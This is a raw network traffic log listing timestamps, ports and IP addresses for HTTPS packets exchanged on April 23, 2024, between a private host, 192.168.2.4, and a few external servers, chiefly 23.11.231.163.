Apr 23, 2024 23:02:18.823379040 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.823422909 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.823432922 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.823468924 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.826749086 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.826844931 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.826858997 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.831777096 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.831816912 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.831883907 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.831904888 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.831931114 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.834192991 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.834287882 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.834305048 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.839844942 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.839886904 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.839932919 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.839955091 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.839984894 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.841803074 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.841881037 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.841896057 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.847258091 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.847318888 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.847376108 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.847376108 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.847398996 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.849495888 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.849565029 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.849585056 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.853977919 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.854023933 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.854049921 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.854068995 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.854094982 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.856903076 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.856992960 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.857006073 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.861568928 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.861607075 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.861632109 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.861649990 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.861677885 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.863718033 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.863792896 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.863806009 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.867872953 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.867913008 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.867975950 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.867994070 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.868017912 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.870603085 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.870713949 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.870732069 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.874728918 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.874789953 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.874816895 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.874836922 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.874862909 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.876585007 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.876660109 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.876674891 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.880498886 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.880547047 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.880565882 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.880594015 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.880610943 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.882380962 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.882447958 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.882461071 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.887048960 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.887087107 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.887131929 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.887144089 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.887171984 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.887428045 CEST	443	49786	20.12.23.50	192.168.2.4
Apr 23, 2024 23:02:18.887531996 CEST	49786	443	192.168.2.4	20.12.23.50
Apr 23, 2024 23:02:18.888855934 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.888926983 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.888943911 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.892453909 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.892493963 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.892529011 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.892551899 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.892577887 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.892832041 CEST	49786	443	192.168.2.4	20.12.23.50
Apr 23, 2024 23:02:18.892863035 CEST	443	49786	20.12.23.50	192.168.2.4
Apr 23, 2024 23:02:18.893229961 CEST	443	49786	20.12.23.50	192.168.2.4
Apr 23, 2024 23:02:18.894165039 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.894251108 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.894268990 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.898406029 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.898427010 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.898494959 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.898516893 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.898545980 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.900006056 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.900062084 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.900078058 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.903347015 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.903369904 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.903420925 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.903429031 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.903462887 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.904989004 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.905034065 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.905040979 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.908219099 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.908236027 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.908277035 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.908286095 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.908315897 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.910494089 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.910559893 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.910567045 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.913373947 CEST	443	49785	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:18.913537979 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.913556099 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.913589954 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.913598061 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.913619995 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.915107012 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.915179968 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.915188074 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.918104887 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.918123007 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.918185949 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.918195963 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.918220997 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.919815063 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.919867039 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.919872999 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.922332048 CEST	49785	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:18.922353983 CEST	443	49785	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:18.923064947 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.923086882 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.923176050 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.923176050 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.923187017 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.924057961 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.924134970 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.924140930 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.924814939 CEST	49785	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:18.924822092 CEST	443	49785	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:18.924972057 CEST	49785	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:18.924981117 CEST	443	49785	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:18.926901102 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.926923990 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.926971912 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.926980972 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.927011013 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.928653002 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.928714037 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.928723097 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.931437969 CEST	443	49787	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:18.932028055 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.932045937 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.932112932 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.932126999 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.932142019 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.932912111 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.932962894 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.932970047 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.935558081 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.935576916 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.935620070 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.935628891 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.935657978 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.937154055 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.937220097 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.937227964 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.939694881 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.939742088 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.939758062 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.939768076 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.939805984 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.941410065 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.941473961 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.941484928 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.943629980 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.943667889 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.943717957 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.943726063 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.943763971 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.945193052 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.945271969 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.945283890 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.947510004 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.947551966 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.947576046 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.947597027 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.947628975 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.949065924 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.949146986 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.949156046 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.950987101 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.951025963 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.951056004 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.951064110 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.951103926 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.952666044 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.952732086 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.952739954 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.952790022 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.954606056 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.954662085 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.954690933 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.954696894 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.954730034 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.954747915 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.956367970 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.956455946 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.956532955 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.956538916 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.958322048 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.958360910 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.958416939 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.958430052 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.958456039 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.958683968 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.959287882 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.959367990 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.959379911 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.959439993 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.960741997 CEST	49787	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:18.960767984 CEST	443	49787	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:18.961652040 CEST	49787	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:18.961658955 CEST	443	49787	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:18.961781025 CEST	49787	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:18.961792946 CEST	443	49787	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:18.962084055 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.962127924 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.962152958 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.962168932 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.962203979 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.962224007 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.962956905 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.963030100 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.963042021 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.965588093 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.965629101 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.965660095 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.965673923 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.965698957 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.966408014 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.966479063 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.966500044 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.968216896 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.968256950 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.968281031 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.968295097 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.968323946 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.969786882 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.969861984 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.969873905 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.971626997 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.971666098 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.971719027 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.971730947 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.971756935 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.972491980 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.972556114 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.972568035 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.975033045 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.975087881 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.975436926 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.975450039 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.976026058 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.976386070 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.976397991 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.978013039 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.978051901 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.978081942 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.978095055 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.978120089 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.978998899 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.979088068 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.979100943 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.981035948 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.981076002 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.981115103 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.981127977 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.981153965 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.981920958 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.981981039 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.981992006 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.983834028 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.983871937 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.983906984 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.983918905 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.983948946 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.984667063 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.984731913 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.984760046 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.986576080 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.986601114 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.986648083 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.986666918 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.986692905 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.987453938 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.987505913 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.987512112 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.989641905 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.989672899 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.989726067 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.989732981 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.989768028 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.990432978 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.990483999 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.990489006 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.990526915 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.992239952 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.992261887 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.992623091 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.992630005 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.992669106 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.993096113 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.993160009 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.993165016 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.994844913 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.994863033 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.994896889 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.994903088 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.994941950 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.995976925 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.996284008 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.996290922 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.996332884 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.997764111 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.997787952 CEST	443	49774	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:18.997818947 CEST	49774	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:18.997824907 CEST	443	49774	23.11.231.163	192.168.2.4
